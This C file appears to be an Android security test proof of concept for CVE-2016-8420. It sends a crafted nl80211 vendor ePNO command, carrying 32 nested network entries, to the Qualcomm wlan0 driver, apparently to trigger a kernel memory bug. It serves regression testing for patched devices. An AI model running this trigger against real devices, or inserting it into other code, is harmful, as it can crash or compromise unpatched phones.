hostsidetests/security/securityPatch/CVE-2016-8420/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <jni.h>
#include <android/log.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <sys/types.h>          /* See NOTES */
#include <netlink/msg.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <linux/nl80211.h>

#define MAX_MSG_SIZE 1024
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))

#define KGSL_IOC_TYPE 0x09

struct kgsl_perfcounter_query_compat {
  unsigned int groupid;
  unsigned int countables;
  unsigned int count;
  unsigned int max_counters;
  unsigned int __pad[2];
};
struct kgsl_perfcounter_read_group {
  unsigned int groupid;
  unsigned int countable;
  unsigned long long value;
};
#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)

struct kgsl_perfcounter_read_compat {
  unsigned int reads;
  unsigned int count;
  unsigned int __pad[2];
};

#define CAL_IOCTL_MAGIC 'a'

#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)

#define NL80211_ATTR_MAC 6
#define ETH_ALEN 6

#define IEEE80211_MAX_SSID_LEN 32
struct nl_sock *nl_sk;
#define NL80211_ATTR_IFINDEX 3
enum wlan_hdd_tm_attr {
  WLAN_HDD_TM_ATTR_INVALID = 0,
  WLAN_HDD_TM_ATTR_CMD = 1,
  WLAN_HDD_TM_ATTR_DATA = 2,
  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
  WLAN_HDD_TM_ATTR_TYPE = 4,
  /* keep last */
  WLAN_HDD_TM_ATTR_AFTER_LAST,
  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
};

enum wlan_hdd_tm_cmd {
  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
  WLAN_HDD_TM_CMD_WLAN_HB = 1,
};
enum qca_wlan_vendor_attr_extscan_config_params {
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_INVALID = 0,

  /* Unsigned 32-bit value; Middleware provides it to the driver. Middle ware
   * either gets it from caller, e.g., framework, or generates one if
   * framework doesn't provide it.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,

  /* NL attributes for data used by
   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_VALID_CHANNELS sub command.
   */
  /* Unsigned 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_WIFI_BAND,
  /* Unsigned 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_VALID_CHANNELS_CONFIG_PARAM_MAX_CHANNELS,

  /* NL attributes for input params used by
   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START sub command.
   */

  /* Unsigned 32-bit value; channel frequency */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CHANNEL,
  /* Unsigned 32-bit value; dwell time in ms. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_DWELL_TIME,
  /* Unsigned 8-bit value; 0: active; 1: passive; N/A for DFS */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_PASSIVE,
  /* Unsigned 8-bit value; channel class */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_CLASS,

  /* Unsigned 8-bit value; bucket index, 0 based */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_INDEX,
  /* Unsigned 8-bit value; band. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BAND,
  /* Unsigned 32-bit value; desired period, in ms. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_PERIOD,
  /* Unsigned 8-bit value; report events semantics. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_REPORT_EVENTS,
  /* Unsigned 32-bit value.
   * Followed by a nested array of EXTSCAN_CHANNEL_SPEC_* attributes.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS,

  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC_* attributes.
   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CHANNEL_SPEC,

  /* Unsigned 32-bit value; base timer period in ms. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD,
  /* Unsigned 32-bit value; number of APs to store in each scan in the
   * BSSID/RSSI history buffer (keep the highest RSSI APs).
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN,
  /* Unsigned 8-bit value; in %, when scan buffer is this much full, wake up
   * APPS.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT,
  /* Unsigned 8-bit value; number of scan bucket specs; followed by a nested
   * array of_EXTSCAN_BUCKET_SPEC_* attributes and values. The size of the
   * array is determined by NUM_BUCKETS.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS,

  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_* attributes.
   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC,

  /* Unsigned 8-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_FLUSH,
  /* Unsigned 32-bit value; maximum number of results to be returned. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_GET_CACHED_SCAN_RESULTS_CONFIG_PARAM_MAX,

  /* An array of 6 x Unsigned 8-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_BSSID,
  /* Signed 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW,
  /* Signed 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH,
  /* Unsigned 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_CHANNEL,

  /* Number of hotlist APs as unsigned 32-bit value, followed by a nested
   * array of AP_THRESHOLD_PARAM attributes and values. The size of the
   * array is determined by NUM_AP.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP,

  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_* attributes.
   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_NUM_CHANNEL_SPECS
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM,

  /* Unsigned 32bit value; number of samples for averaging RSSI. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
  /* Unsigned 32bit value; number of samples to confirm AP loss. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
  /* Unsigned 32bit value; number of APs breaching threshold. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
  /* Unsigned 32bit value; number of APs. Followed by an array of
   * AP_THRESHOLD_PARAM attributes. Size of the array is NUM_AP.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
  /* Unsigned 32bit value; number of samples to confirm AP loss. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE,

  /* Unsigned 32-bit value. If max_period is non zero or different than
   * period, then this bucket is an exponential backoff bucket.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_MAX_PERIOD,
  /* Unsigned 32-bit value. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_BASE,
  /* Unsigned 32-bit value. For exponential back off bucket, number of scans
   * to performed for a given period.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_BUCKET_SPEC_STEP_COUNT,
  /* Unsigned 8-bit value; in number of scans, wake up AP after these
   * many scans.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS,

  /* NL attributes for data used by
   * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SSID_HOTLIST sub command.
   */
  /* Unsigned 32bit value; number of samples to confirm SSID loss. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE,
  /* Number of hotlist SSIDs as unsigned 32-bit value, followed by a nested
   * array of SSID_THRESHOLD_PARAM_* attributes and values. The size of the
   * array is determined by NUM_SSID.
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID,
  /* Array of QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_* attributes.
   * Array size: QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
   */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM,

  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID,
  /* Unsigned 8-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND,
  /* Signed 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW,
  /* Signed 32-bit value */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH,

  /* Unsigned 32-bit value; a bitmask w/additional extscan config flag. */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_CONFIGURATION_FLAGS,

  /* keep last */
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST,
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX =
      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_AFTER_LAST - 1,
};

#define QCA_NL80211_VENDOR_ID 0x001374
#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70

#define SIR_PASSPOINT_REALM_LEN 256
#define SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM 16
#define SIR_PASSPOINT_PLMN_LEN 3

#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_START 20
#define PARAM_REQUEST_ID \
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
#define PARAM_BASE_PERIOD \
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_BASE_PERIOD
#define PARAM_MAX_AP_PER_SCAN \
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_MAX_AP_PER_SCAN

#define PARAM_RPT_THRHLD_PERCENT \
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_PERCENT
#define PARAM_RPT_THRHLD_NUM_SCANS \
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_REPORT_THRESHOLD_NUM_SCANS

#define PARAM_NUM_BUCKETS \
  QCA_WLAN_VENDOR_ATTR_EXTSCAN_SCAN_CMD_PARAMS_NUM_BUCKETS

#define WIFI_BAND_UNSPECIFIED 0
enum qca_wlan_vendor_attr_pno_config_params {
  QCA_WLAN_VENDOR_ATTR_PNO_INVALID = 0,
  /* NL attributes for data used by
   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_PASSPOINT_LIST sub command.
   */
  /* Unsigned 32-bit value */
  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM = 1,
  /* Array of nested QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_*
   * attributes. Array size =
   * QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM.
   */
  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NETWORK_ARRAY = 2,

  /* Unsigned 32-bit value */
  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ID = 3,
  /* An array of 256 x Unsigned 8-bit value; NULL terminated UTF8 encoded
   * realm, 0 if unspecified.
   */
  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_REALM = 4,
  /* An array of 16 x Unsigned 32-bit value; roaming consortium ids
   * to match, 0 if unspecified.
   */
  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_CNSRTM_ID = 5,
  /* An array of 6 x Unsigned 8-bit value; mcc/mnc combination, 0s if
   *  unspecified.
   */
  QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_NETWORK_PARAM_ROAM_PLMN = 6,

  /* NL attributes for data used by
   * QCA_NL80211_VENDOR_SUBCMD_PNO_SET_LIST sub command.
   */
  /* Unsigned 32-bit value */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS = 7,
  /* Array of nested
   * QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_*
   * attributes. Array size =
   *      QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS.
   */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST = 8,
  /* An array of 33 x Unsigned 8-bit value; NULL terminated SSID */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID = 9,
  /* Signed 8-bit value; threshold for considering this SSID as found,
   * required granularity for this threshold is 4dBm to 8dBm
   * This attribute is obsolete.
   */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_RSSI_THRESHOLD = 10,
  /* Unsigned 8-bit value; WIFI_PNO_FLAG_XXX */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS = 11,
  /* Unsigned 8-bit value; auth bit field for matching WPA IE */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT = 12,

  /* Unsigned 8-bit to indicate ePNO type;
   * It takes values from qca_wlan_epno_type
   */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_TYPE = 13,

  /* Nested attribute to send the channel list */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_CHANNEL_LIST = 14,

  /* Unsigned 32-bit value; indicates the Interval between PNO scan
   * cycles in msec
   */
  QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_SCAN_INTERVAL = 15,
  /* Signed 32-bit value; minimum 5GHz RSSI for a BSSID to be
   * considered
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI = 16,
  /* Signed 32-bit value; minimum 2.4GHz RSSI for a BSSID to
   * be considered
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI = 17,
  /* Signed 32-bit value; the maximum score that a network
   * can have before bonuses
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX = 18,
  /* Signed 32-bit value; only report when there is a network's
   * score this much higher han the current connection
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS = 19,
  /* Signed 32-bit value; score bonus for all networks with
   * the same network flag
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS = 20,
  /* Signed 32-bit value; score bonus for networks that are
   * not open
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS = 21,
  /* Signed 32-bit value; 5GHz RSSI score bonus
   * applied to all 5GHz networks
   */
  QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS = 22,

  /* keep last */
  QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST,
  QCA_WLAN_VENDOR_ATTR_PNO_MAX = QCA_WLAN_VENDOR_ATTR_PNO_AFTER_LAST - 1,
};

#define QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS 7
#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST 69
#define QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI 16
int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version);
int test(void);
int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
                  u_int8_t genl_version) {
  struct nl_msg *msg;
  int ret = -1;
  unsigned char dst[ETH_ALEN];
  struct nlattr *rret;
  struct nlattr *rret2;
  struct nlattr *rret3;
  struct nlattr *rret4;
  unsigned char buf_in[300] = {0xff};
  int i = 0;
  unsigned char data_in[SIR_PASSPOINT_ROAMING_CONSORTIUM_ID_NUM];

  unsigned char hb_params[512];

  struct nl80211_sta_flag_update flags;
  msg = nlmsg_alloc();
  int if_index = if_nametoindex("wlan0");

  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
              QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_LIST);

  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);

  if (!rret) {
    return 1;
  }
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_NUM_NETWORKS, 1);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
              0x123);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_MIN5GHZ_RSSI, 0x123);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_MIN24GHZ_RSSI, 0x456);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_INITIAL_SCORE_MAX, 0x234);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_CURRENT_CONNECTION_BONUS, 0x111);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_SAME_NETWORK_BONUS, 0x111);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_SECURE_BONUS, 0x111);
  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EPNO_BAND5GHZ_BONUS, 0x111);

  rret2 = nla_nest_start(
      msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST);
  if (!rret2) {
    return 1;
  }

  for (i = 0; i < 32; ++i) {
    rret3 = nla_nest_start(
        msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORKS_LIST);
    if (!rret3) {
      return 1;
    }

    nla_put(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_SSID,
            IEEE80211_MAX_SSID_LEN, &buf_in);
    nla_put_u8(msg, QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_FLAGS,
               0x11);
    nla_put_u8(msg,
               QCA_WLAN_VENDOR_ATTR_PNO_SET_LIST_PARAM_EPNO_NETWORK_AUTH_BIT,
               0xff);

    nla_nest_end(msg, rret3);
  }

  nla_nest_end(msg, rret2);
  nla_nest_end(msg, rret);
  ret = nl_send_auto_complete(nl_sk, msg);

  return 0;
}

#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005

int test() {
  int fd = 0;
  int i = 0;
  int j = 0;
  int ret = 0;
  char *mem;
  int family_id = 0;
  struct audio_cal_basic *acb;
  struct sockaddr_nl saddr;
  int test = 0x1234;
  if (getuid() != 0) {
    return -1;
  }

  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);

  setuid(2000);

  nl_sk = nl_socket_alloc();
  ret = genl_connect(nl_sk);
  if (ret != 0) {
    return -1;
  }

  family_id = genl_ctrl_resolve(nl_sk, "nl80211");

#define NL80211_CMD_GET_WIPHY 1
#define NL80211_CMD_SET_STATION 18

  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
  return 0;
}

int main(int argc, char *argv[]) { return test(); }